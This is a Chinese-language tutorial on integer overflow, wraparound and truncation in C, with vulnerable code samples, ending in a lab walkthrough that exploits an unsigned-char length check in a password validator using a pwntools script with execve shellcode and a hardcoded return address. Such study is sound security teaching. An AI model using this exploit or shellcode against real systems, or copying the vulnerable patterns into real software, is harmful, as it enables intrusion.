整数溢出
- 什么是整数溢出
- 由于整数在内存里面保存在一个固定长度的空间内,它能存储的最大值和最小值是固定的,如果我们尝试去存储一个数,而这个数又大于这个固定的最大值时,就会导致整数溢出。(x86-32 的数据模型是 ILP32,即整数(Int)、长整数(Long)和指针(Pointer)都是 32 位。)
- 整数溢出的危害
- 如果一个整数用来计算一些敏感数值,如缓冲区大小或数值索引,就会产生潜在的危险。通常情况下,整数溢出并没有改写额外的内存,不会直接导致任意代码执行,但是它会导致栈溢出和堆溢出,而后两者都会导致任意代码执行。由于整数溢出出现之后,很难被立即察觉,比较难用一个有效的方法去判断是否出现或者可能出现整数溢出。
- 溢出
- 只有有符号数才会发生溢出。有符号数最高位表示符号,在两正或两负相加时,有可能改变符号位的值,产生溢出
- 溢出标志
OF
可检测有符号数的溢出
- 回绕
- 无符号数
0-1
时会变成最大的数,如 1 字节的无符号数会变为255
,而255+1
会变成最小数0
。 - 进位标志
CF
可检测无符号数的回绕
- 截断
- 将一个较大宽度的数存入一个宽度小的操作数中,高位发生截断
- 有符号溢出
int i;
i = INT_MAX;// 2 147 483 647
i++;
printf("i = %d\n", i);// i = -2 147 483 648
i = INT_MIN;// -2 147 483 648
i--;
printf("i = %d\n", i);// i = 2 147 483 647
- 无符号回绕
- 涉及无符号数的计算永远不会溢出,因为不能用结果为无符号整数表示的结果值被该类型可以表示的最大值加 1 之和取模减(reduced modulo)。因为回绕,一个无符号整数表达式永远无法求出小于零的值。
unsignedint ui;
ui = UINT_MAX;// 在 x86-32 上为 4 294 967 295
ui++;
printf("ui = %u\n", ui);// ui = 0
ui =0;
ui--;
printf("ui = %u\n", ui);// 在 x86-32 上,ui = 4 294 967 295
- 截断
0xffffffff+0x00000001
=0x0000000100000000(longlong)
=0x00000000(long)
0x00123456*0x00654321
=0x000007336BF94116(longlong)
=0x6BF94116(long)
- 整型提升和宽度溢出
- 整型提升是指当计算表达式中包含了不同宽度的操作数时,较小宽度的操作数会被提升到和较大操作数一样的宽度,然后再进行计算。
- 在整数转换的过程中,有可能导致下面的错误:
- 损失值:转换为值的大小不能表示的一种类型
- 损失符号:从有符号类型转换为无符号类型,导致损失符号
- 示例
char buf[80];
void vulnerable(){
int len = read_int_from_network();
char*p = read_string_from_network();
if(len >80){
error("length too large: bad dog, no cookie for you!");
return;
}
memcpy(buf, p, len);
}
- 如果攻击者给
len
赋于了一个负数,则可以绕过if
语句的检测,而执行到memcpy()
的时候,由于第三个参数是size_t
类型,负数len
会被转换为一个无符号整型,它可能是一个非常大的正数,从而复制了大量的内容到buf
中,引发了缓冲区溢出。
void vulnerable(){
size_t len;
// int len;
char* buf;
len = read_int_from_network();
buf = malloc(len +5);
read(fd, buf, len);
...
}
- 如果
len
过大,len+5
有可能发生回绕。比如说,在 x86-32 上,如果len = 0xFFFFFFFF
,则len+5 = 0x00000004
,这时malloc()
只分配了 4 字节的内存区域,然后在里面写入大量的数据,缓冲区溢出也就发生了。(如果将len
声明为有符号int
类型,len+5
可能发生溢出)
void main(int argc,char*argv[]){
unsignedshortint total;
total = strlen(argv[1])+ strlen(argv[2])+1;
char*buf =(char*)malloc(total);
strcpy(buf, argv[1]);
strcat(buf, argv[2]);
...
}
- 首先将第一个字符串参数复制到缓冲区中,然后将第二个参数连接到尾部。如果攻击者提供的两个字符串总长度无法用
total
表示,则会发生截断,从而导致后面的缓冲区溢出。
源码
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void store_passwd_indb(char* passwd) {
}
void validate_uname(char* uname) {
}
void validate_passwd(char* passwd) {
char passwd_buf[11];
unsigned char passwd_len = strlen(passwd); /* [1] */
if(passwd_len >= 4 && passwd_len <= 8) { /* [2] */ 判断长度。整数溢出绕过
printf("Valid Password\n"); /* [3] */
fflush(stdout);
strcpy(passwd_buf,passwd); /* [4] */ 261个字符拷贝到11字节大小的数组
} else {
printf("Invalid Password\n"); /* [5] */
fflush(stdout);
}
store_passwd_indb(passwd_buf); /* [6] */
}
int main(int argc, char* argv[]) {
if(argc!=3) {
printf("Usage Error: \n");
fflush(stdout);
exit(-1);
}
validate_uname(argv[1]);
validate_passwd(argv[2]);
return 0;
}
- 编译命令gcc -m32 -fno-stack-protector -z execstack -no-pie -o file file.c
- 首先unsigned char类型0-255,然后判断passwd_len >= 4 && passwd_len <= 8,那么输入260<=x<=264即可绕过,输入261字符passwd_len为5绕过判断,然后将261个字节拷贝到11字节大小的数组里。
- 使用python pattern.py 261
- 使用gdb调试,确认偏移。
- 利用的思路为24字节+shellcode地址+shellcode+填充
exploit
# coding: utf-8
#!/usr/bin/env python
from pwn import *
ret = 0xffffd060
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"
payload = 'A'*24 + p32(ret)+shellcode+'a'*(261-24-4-21)
p=process(['./level1','55',payload])
p.interactive()